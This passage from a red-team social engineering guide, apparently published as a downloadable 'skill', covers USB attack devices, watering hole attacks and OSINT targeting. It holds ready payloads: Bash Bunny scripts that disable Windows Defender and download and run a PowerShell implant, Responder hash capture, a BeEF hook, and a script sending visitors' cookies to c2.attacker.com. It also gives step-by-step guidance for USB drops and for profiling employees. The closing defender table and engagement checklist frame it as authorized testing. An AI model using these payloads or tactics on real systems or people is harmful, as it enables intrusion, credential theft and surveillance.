# Type fake "Welcome back" prompt URL
# Target sees what looks like a login screen and enters credentials
# Captured by attacker-hosted phishing page
```

**Delay optimization:**
```text
 → Modern SSD machines: DELAY 500 for Run dialog, 300 for typing
 → Older HDD machines: DELAY 2000+ for Run dialog, 1000 for apps
 → USB enumeration: first DELAY 2000-3000 to allow HID registration
 → Test on representative hardware before deployment
 → Too fast = missed keystrokes = broken payload
 → Too slow = user notices screen activity
```

### Bash Bunny — Multi-Vector Platform

The Bash Bunny runs a full Linux OS and can emulate multiple USB
device classes simultaneously (HID keyboard, Ethernet adapter,
mass storage) for combined attacks.

```bash
# Bash Bunny payload — Responder credential harvesting
# File: /payloads/switch1/payload.txt

# Emulate both Ethernet adapter and keyboard
ATTACKMODE ECM_ETHERNET HID
LED SETUP

# Wait for the target to recognize the new network interface
QUACK DELAY 5000

# Start Responder to capture NTLM hashes via LLMNR/NBT-NS
python3 /tools/responder/Responder.py -I usb0 -wFb &
LED ATTACK

# Collect hashes for 120 seconds
sleep 120

# Copy captured hashes to Bash Bunny storage partition
LED CLEANUP
mkdir -p /root/udisk/loot/$(date +%Y%m%d)
cp -r /tools/responder/logs/* /root/udisk/loot/$(date +%Y%m%d)/
LED FINISH
sync
```

```bash
# Bash Bunny payload — HID + Ethernet combined attack
# Emulate keyboard to disable security, then use Ethernet for exfil

ATTACKMODE HID ECM_ETHERNET

LED SETUP
QUACK DELAY 3000

# Disable Windows Defender real-time protection via keyboard
QUACK GUI r
QUACK DELAY 500
QUACK STRING powershell -w hidden -c "Set-MpPreference -DisableRealtimeMonitoring \$true"
QUACK ENTER
QUACK DELAY 2000

# Download and execute implant via the Bash Bunny's network
QUACK GUI r
QUACK DELAY 500
QUACK STRING powershell -w hidden -c "IEX(IWR http://172.16.64.1:8080/implant.ps1 -UseBasicParsing)"
QUACK ENTER

LED ATTACK
sleep 30
LED FINISH
```

**Attack modes:**
```text
 → HID — keyboard emulation (DuckyScript payloads)
 → ECM_ETHERNET — Linux Ethernet gadget (network attacks)
 → RNDIS_ETHERNET — Windows Ethernet gadget
 → STORAGE — mass storage (AutoRun, file planting)
 → SERIAL — serial console
 → Combined modes: HID + ECM_ETHERNET, HID + STORAGE, etc.
```

### O.MG Cable — Covert Implant

Visually identical to a standard USB/Lightning cable. Contains a
wireless implant for remote keystroke injection, keylogging, and
command execution.

```text
DEPLOYMENT SCENARIOS
━━━━━━━━━━━━━━━━━━━
Cable swap:
 → During physical access, replace a target's existing USB cable
   with the O.MG cable at their desk
 → The cable charges devices normally — no behavioral change
 → Implant activates on operator command via WiFi

Supply chain placement:
 → Mail O.MG cables to the target as "replacement cables" for a
   "recalled product" or as branded promotional items
 → Package in legitimate-looking retail packaging
 → Target plugs it in and forgets about it

Common area placement:
 → Leave in conference rooms, break rooms, reception areas
 → Labeled with the company logo (custom label printing)
 → Targets treat it as a shared charging cable

CAPABILITIES
━━━━━━━━━━━━
 → Keystroke injection — same as Rubber Ducky but wireless trigger
 → Keylogging — captures all keystrokes through the cable
 → WiFi C2 — connect to the implant's access point (or join
   an existing network) for remote triggering
 → Geofencing — auto-execute payload when specific WiFi networks
   are detected (trigger only when target is at the office)
 → Payload storage — multiple payloads stored, selectable remotely
 → Self-destruct — wipe all payloads remotely, leave no evidence
 → Exfiltration — captured keystrokes retrieved via WiFi connection

OPERATIONAL MANAGEMENT
━━━━━━━━━━━━━━━━━━━━━━
 → Connect to O.MG cable WiFi AP from within range (~100m)
 → Web interface for payload management and keylog retrieval
 → Schedule payload execution by time or trigger
 → Monitor connection status and battery level
 → Update firmware over WiFi
```

### BadUSB Firmware Attacks

```text
Consumer USB devices can be reprogrammed at the firmware level
to inject malicious functionality invisible to the operating system.

Targets:
 → USB flash drives with reprogrammable controllers (Phison 2251-03)
 → USB peripherals with updatable firmware
 → USB hubs and chargers with microcontrollers

Attack types:
 → HID injection — device presents as keyboard alongside storage
 → Network adapter emulation — MITM traffic capture
 → Partition manipulation — hidden partitions with auto-execute
 → Boot sector modification — alter BIOS/UEFI boot sequence

Tools:
 → Psychson — Phison controller firmware modification
 → USBarmory — hardware platform for USB attack research
 → Facedancer — USB protocol manipulation
```

### USB Drop Campaign Design

```text
Campaign planning:
 → Branding: apply company labels or logos to USB devices
 → Labeling: "Confidential — Q4 Revenue" or "Employee Bonuses 2026"
   (triggers curiosity and urgency)
 → Placement:
   - Parking lots (near entrance, between cars)
   - Reception/lobby areas
   - Restrooms
   - Break rooms and kitchen areas
   - Conference rooms
   - Near printers/copiers
 → Quantity: 10-20 devices per location for statistical coverage
 → Tracking: beacon-home payload to log which devices are plugged in
   - Record: timestamp, hostname, username, IP address
   - Helps measure human susceptibility without full exploitation
 → Recovery plan: document all device serial numbers/identifiers
   for post-engagement collection
```

---

## Watering Hole Attacks

Instead of approaching targets directly, compromise a website they
regularly visit. This is effective against security-conscious
organizations resistant to direct phishing.

### Target Identification

```text
 1. Map target browsing patterns through OSINT:
    → Industry forums, professional associations, blogs
    → Vendor portals and documentation sites
    → Regional news publications popular with the demographic
    → Internal wikis or portals (if URL identified through recon)
    → Supply chain partner websites

 2. Prioritize candidates by:
    → Traffic volume from target IP ranges (if measurable)
    → Security posture of the site (CMS age, known vulns)
    → Trust level (a known industry resource vs random blog)
    → Ability to inject code without full compromise
```

### Exploitation Methods

```text
 → Stored XSS on the watering hole site:
   - Inject malicious JavaScript without full server compromise
   - Comment sections, user profiles, forum posts
   - Less intrusive, lower detection risk

 → CMS vulnerability exploitation:
   - WordPress plugin vulnerabilities (most common)
   - Drupal, Joomla, or custom CMS admin compromise
   - Modify page templates to include malicious script

 → Third-party supply chain compromise:
   - Compromise an analytics, chat widget, or advertising script
     loaded by the watering hole site
   - Affects all sites loading that script
   - Broader blast radius but less targeted

 → CDN or DNS hijack:
   - Redirect traffic from the legitimate site through your server
   - Inject content transparently
   - Requires compromising DNS or CDN configuration
```

### Selective Exploitation with BeEF

```javascript
// BeEF hook injection — only targets specific IP ranges
// Inject into the watering hole site's JavaScript
(function() {
    // Check if visitor is from target organization
    // Server-side: check request IP against target ranges
    // Client-side: use WebRTC to leak internal IP (may reveal org)

    var hook = document.createElement('script');
    hook.src = 'https://beef-server.attacker.com/hook.js';
    hook.async = true;
    document.body.appendChild(hook);
})();
```

```text
BeEF post-hooking capabilities:
 → Browser fingerprinting and enumeration
 → Credential harvesting via fake login dialogs
 → Phishing within the hooked page (inject content)
 → Keylogging in the browser session
 → Screenshot capture
 → Webcam/microphone access (with user permission prompt)
 → Network discovery via WebRTC
 → Metasploit integration for browser exploitation
 → Tunnel HTTP requests through hooked browser (proxy pivot)
 → Social engineering modules (fake Flash update, etc.)

Selective targeting:
 → Serve exploits only to IP ranges from the target organization
 → Use browser fingerprinting to match specific OS/browser combos
 → Redirect non-target visitors to benign content transparently
 → Time-limit the injection to a narrow operational window
 → Remove all injected code post-operation
```

### Cookie Theft via Injected Scripts

```javascript
// Injected into watering hole site — steals session cookies
// for the watering hole site and any other accessible cookies

(function() {
    var exfil = new Image();
    exfil.src = 'https://c2.attacker.com/collect?site='
        + encodeURIComponent(document.domain)
        + '&cookies=' + encodeURIComponent(document.cookie)
        + '&url=' + encodeURIComponent(window.location.href);
})();

// For HttpOnly cookies (not accessible via JS), use:
// XSS to inject XMLHttpRequest that sends authenticated request
// to attacker-controlled endpoint, carrying cookies automatically
```

---

## OSINT for Targeting

Intelligence quality directly determines social engineering success.
Every piece of information narrows the gap between a generic pretext
and a targeted attack that the victim cannot distinguish from reality.

### LinkedIn Harvesting

```bash
# linkedin2username — derive email addresses from LinkedIn profiles
python3 linkedin2username.py -u your@email.com -c "TargetCorp" -s 1000
# Output: firstname.lastname format for all discovered employees

# CrossLinked — LinkedIn enumeration without API key
python3 crosslinked.py -f '{first}.{last}@targetcorp.com' "TargetCorp"
# Scrapes search engines for LinkedIn profiles matching the company
# Outputs email list in specified format

# Discovering email format without tools:
# 1. Find one known email (press releases, support pages, whois)
# 2. Test format with SMTP VRFY or RCPT TO against mail server
# 3. Apply format to all harvested names

# Email format verification
smtp-user-enum -M VRFY -U users.txt -t mail.targetcorp.com
# Or via RCPT TO:
smtp-user-enum -M RCPT -U users.txt -t mail.targetcorp.com -D targetcorp.com
```

### Organizational Intelligence

```bash
# theHarvester — multi-source OSINT collection
theHarvester -d targetcorp.com -b all -l 500 -f output.html
# Sources: google, bing, linkedin, twitter, hunter, securitytrails

# Recon-ng — structured modular reconnaissance framework
recon-ng
[recon-ng]> marketplace install all
[recon-ng]> workspaces create targetcorp
[recon-ng]> modules load recon/domains-contacts/whois_pocs
[recon-ng]> options set SOURCE targetcorp.com
[recon-ng]> run
[recon-ng]> modules load recon/companies-contacts/bing_linkedin_cache
[recon-ng]> options set SOURCE "TargetCorp"
[recon-ng]> run

# SpiderFoot — automated OSINT collection
spiderfoot -s targetcorp.com -t all -o output.json
# Web UI: spiderfoot -l 127.0.0.1:5001
```

### Org Chart Reconstruction

```text
 1. LinkedIn employee enumeration:
    → Collect all employees with company affiliation
    → Map titles, departments, reporting relationships
    → Identify: C-suite, VPs, Directors, Managers, ICs
    → Note tenure — new hires are easier targets

 2. Cross-reference sources:
    → Press releases (executive quotes with titles)
    → SEC filings and annual reports (leadership listed)
    → Conference speaker bios (detailed role descriptions)
    → Patent filings (inventor names with affiliations)
    → Court documents (organization charts sometimes exhibit evidence)

 3. Build the map:
    → Top-down hierarchy
    → Department structure
    → Key decision-makers and their direct reports
    → Executive assistants (high-access, often less security-aware)
    → New hires (less institutional knowledge, more compliant)
    → IT administrators (privileged access, trusted internally)
```

### Social Media Profiling

```text
Facebook/Meta:
 → Personal details: hometown, education, family relationships
 → Check-ins reveal routines, locations, travel patterns
 → Photos reveal office environment, badge types, screen content
 → Groups reveal interests, professional associations

Twitter/X:
 → Professional opinions, frustrations with employer
 → Conference attendance, travel plans
 → Technology preferences ("just switched to [tool]")
 → Real-time location data from geotagged posts

Instagram:
 → Lifestyle, routines, frequented locations
 → Stories often reveal real-time location
 → Office photos may expose internal systems, layouts

GitHub/GitLab:
 → Public repositories reveal internal tooling, tech stack
 → Commit histories reveal work patterns, email addresses
 → README files may reference internal systems
 → Issue trackers may discuss vulnerabilities or security concerns

Glassdoor/Blind:
 → Employee complaints reveal security culture, tool usage
 → Salary data for financial pretexts
 → Interview process details for recruiter pretexts
```

### Breach Data Correlation

```text
 → Check if target domain appears in known breach databases
 → Correlate password patterns from breaches:
   - If users reuse formats like "Company2024!" or "Season+Year"
   - Use for password spraying lists
 → Identify compromised credentials that may still be active
 → Check executive personal emails for breaches — people reuse
   passwords across personal and corporate accounts

Sources (legal/ethical use):
 → Have I Been Pwned (haveibeenpwned.com) — breach lookup by email
 → Dehashed — search by email, name, username
 → IntelligenceX — historical breach archive
 → Snusbase — credential search
```

### Document Metadata Extraction

```bash
# FOCA — metadata extraction from public documents
# Searches Google/Bing for PDFs, DOCx, PPTx, XLSx from target domain
# Extracts: author names, software versions, internal paths, printers

# Manual approach with exiftool
exiftool downloaded_document.docx
# Look for:
#  → Author / Creator → employee names
#  → Producer → software version (Office 2019, Adobe XI)
#  → Company → confirms organizational attribution
#  → Internal paths → \\fileserver\share\department\filename

# Metagoofil — automated document metadata harvester
metagoofil -d targetcorp.com -t pdf,doc,docx,ppt,pptx,xls,xlsx \
    -l 200 -o metadata_output -f results.html
```

### Job Posting Analysis

```text
Job postings reveal internal technology and security posture:

 → "Experience with CrowdStrike Falcon" → they use CrowdStrike EDR
 → "Familiar with Palo Alto Networks" → their firewall vendor
 → "Office 365 administration" → Microsoft 365 environment
 → "AWS/Azure cloud experience" → their cloud provider
 → "Active Directory management" → Windows AD domain environment
 → "Splunk/SIEM experience" → their SIEM platform
 → "Experience with ServiceNow" → their ticketing system
 → "Knowledge of HIPAA/PCI" → their compliance requirements

This intelligence shapes:
 → Technical pretexts (reference their actual tools)
 → Phishing templates (mimic their real applications)
 → Evasion strategy (know what their EDR detects)
 → Target selection (IT roles have privileged access)
```

### Infrastructure Reconnaissance

```bash
# Shodan — discover internet-facing systems
shodan search "org:TargetCorp"
shodan search "ssl.cert.subject.CN:targetcorp.com"
shodan search "hostname:targetcorp.com"

# Censys — certificate and host search
censys search "services.tls.certificates.leaf.subject.organization:TargetCorp"

# Google dorking — discover exposed documents and systems
site:targetcorp.com filetype:pdf
site:targetcorp.com filetype:docx
site:targetcorp.com inurl:admin
site:targetcorp.com intext:"internal use only"
site:targetcorp.com ext:conf OR ext:env OR ext:bak
"targetcorp.com" ext:sql OR ext:csv
intitle:"index of" site:targetcorp.com
site:targetcorp.com "powered by" OR "built with"

# DNS enumeration
dig targetcorp.com any
dig axfr @ns1.targetcorp.com targetcorp.com
# Subdomain enumeration
subfinder -d targetcorp.com -silent
amass enum -d targetcorp.com -o subdomains.txt

# Certificate transparency logs
crt.sh → search: %.targetcorp.com
# Reveals all certificates issued → subdomains and services
```

---

## Defender Perspective

Understanding how defenders detect social engineering helps operators
avoid patterns that trigger alerts.

| Attack Vector | Detection Indicators | Defensive Countermeasure |
|---|---|---|
| Vishing | Unusual CallerID, requests credentials, fails callback verification, STIR/SHAKEN low attestation | Callback verification through known numbers, verbal authentication codes for financial requests, never share credentials by phone |
| Smishing | Unknown sender, URL in SMS, urgency language, non-corporate sending number | SMS filtering, mobile security apps, user training to never click SMS links for corporate actions |
| Tailgating | Unfamiliar face, no visible or non-matching badge, following closely through controlled doors | Mantrap/airlock entries, security cameras with facial recognition, challenge culture training, anti-tailgating turnstiles |
| Badge cloning | Duplicate badge reads at different locations simultaneously, access outside normal hours, unrecognized badge presentation | Multi-factor physical access (badge + PIN + biometric), anomaly detection on access logs, shielded badge holders (RFID blocking) |
| USB drops | New HID device enumerated, unusual keystroke injection speed, unknown USB storage device, Ethernet adapter appearing | Disable USB ports via GPO, USB device whitelisting (allow only approved VID/PID), endpoint HID attack detection, USB port epoxy |
| Watering hole | Unexpected browser exploit attempts, beacon callbacks to unknown domains, injected scripts on trusted sites | Web proxy with TLS inspection, browser isolation, script integrity monitoring (SRI), network segmentation |
| Deepfake voice | Unusual request via phone from executive, slight audio artifacts, request for financial action without written confirmation | Dual authorization for financial requests, callback verification, voice authentication systems, challenge/response codes |

---

## Engagement Checklist

```text
PRE-ENGAGEMENT
  [ ] Written authorization covers all planned vectors
      (vishing, smishing, physical, USB, watering hole)
  [ ] Legal review of jurisdiction-specific laws
      (recording consent, trespassing, impersonation statutes)
  [ ] ROE defines escalation limits and safety procedures
  [ ] Personas developed, rehearsed, and backstopped
      (burner phones active, domains registered, LinkedIn profiles aged)
  [ ] Infrastructure ready:
      - VoIP numbers configured and tested
      - SMS gateway operational
      - Badge cloning equipment charged and tested
      - USB devices programmed and labeled
      - Watering hole vulnerability identified (if in scope)
  [ ] Emergency contacts documented
      (client POC, legal counsel, physical safety contacts)
  [ ] Authorization letter prepared for physical operators
      (carry at all times during physical assessment)

EXECUTION — REMOTE VECTORS
  [ ] Vishing calls recorded (where legally permitted)
  [ ] All interactions timestamped in engagement log
  [ ] Credential captures documented immediately
  [ ] Smishing messages sent with per-target tracking
  [ ] Watering hole injection deployed and monitored
  [ ] Stop criteria actively monitored throughout

EXECUTION — PHYSICAL VECTORS
  [ ] Authorization letter carried by all physical operators
  [ ] Photo/video evidence captured (where legally permitted)
  [ ] No property damage, no occupant alarm, no safety hazards
  [ ] If challenged and pretext fails → present authorization
  [ ] Entry/exit times logged for every facility accessed
  [ ] All planted devices cataloged with serial numbers/identifiers

POST-ENGAGEMENT
  [ ] All planted devices recovered or accounted for
      (USB devices, O.MG cables, network implants)
  [ ] Cloned badges securely destroyed
  [ ] VoIP numbers and SMS accounts decommissioned
  [ ] Watering hole injection removed (if applicable)
  [ ] BeEF hooks deactivated and infrastructure torn down
  [ ] Findings compiled:
      - What worked (which pretexts, which vectors)
      - What was caught (which controls detected the attack)
      - What was missed (which gaps exist)
  [ ] Recommendations delivered:
      - Procedural controls (callback verification, challenge culture)
      - Awareness training (tailored to observed weaknesses)
      - Physical security upgrades (mantraps, badge+PIN, cameras)
      - Technical controls (USB policy, SMS filtering, browser isolation)
  [ ] Client data securely destroyed per retention agreement
```

---

## References

- MITRE ATT&CK T1598 — Phishing for Information
- MITRE ATT&CK T1566 — Phishing (and sub-techniques .001, .002, .003)
- MITRE ATT&CK T1091 — Replication Through Removable Media
- MITRE ATT&CK T1189 — Drive-by Compromise
- MITRE ATT&CK T1204 — User Execution
- Social Engineering Toolkit (SET) — https://github.com/trustedsec/social-engineer-toolkit
- Proxmark3 — https://github.com/RfidResearchGroup/proxmark3
- Hak5 USB Rubber Ducky — https://docs.hak5.org/hak5-usb-rubber-ducky
- Hak5 Bash Bunny — https://docs.hak5.org/bash-bunny
- O.MG Cable — https://o.mg.lol
- BeEF Framework — https://beefproject.com
- Evilginx2 — https://github.com/kgretzky/evilginx2
- linkedin2username — https://github.com/initstring/linkedin2username
- CrossLinked — https://github.com/m8sec/CrossLinked
- theHarvester — https://github.com/laramies/theHarvester
- Recon-ng — https://github.com/lanmaster53/recon-ng
- SpiderFoot — https://github.com/smicallef/spiderfoot
- Metagoofil — https://github.com/opsdisk/metagoofil
- Christopher Hadnagy — "Social Engineering: The Science of Human Hacking"
- Robert Cialdini — "Influence: The Psychology of Persuasion"
- Kevin Mitnick — "The Art of Deception"

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.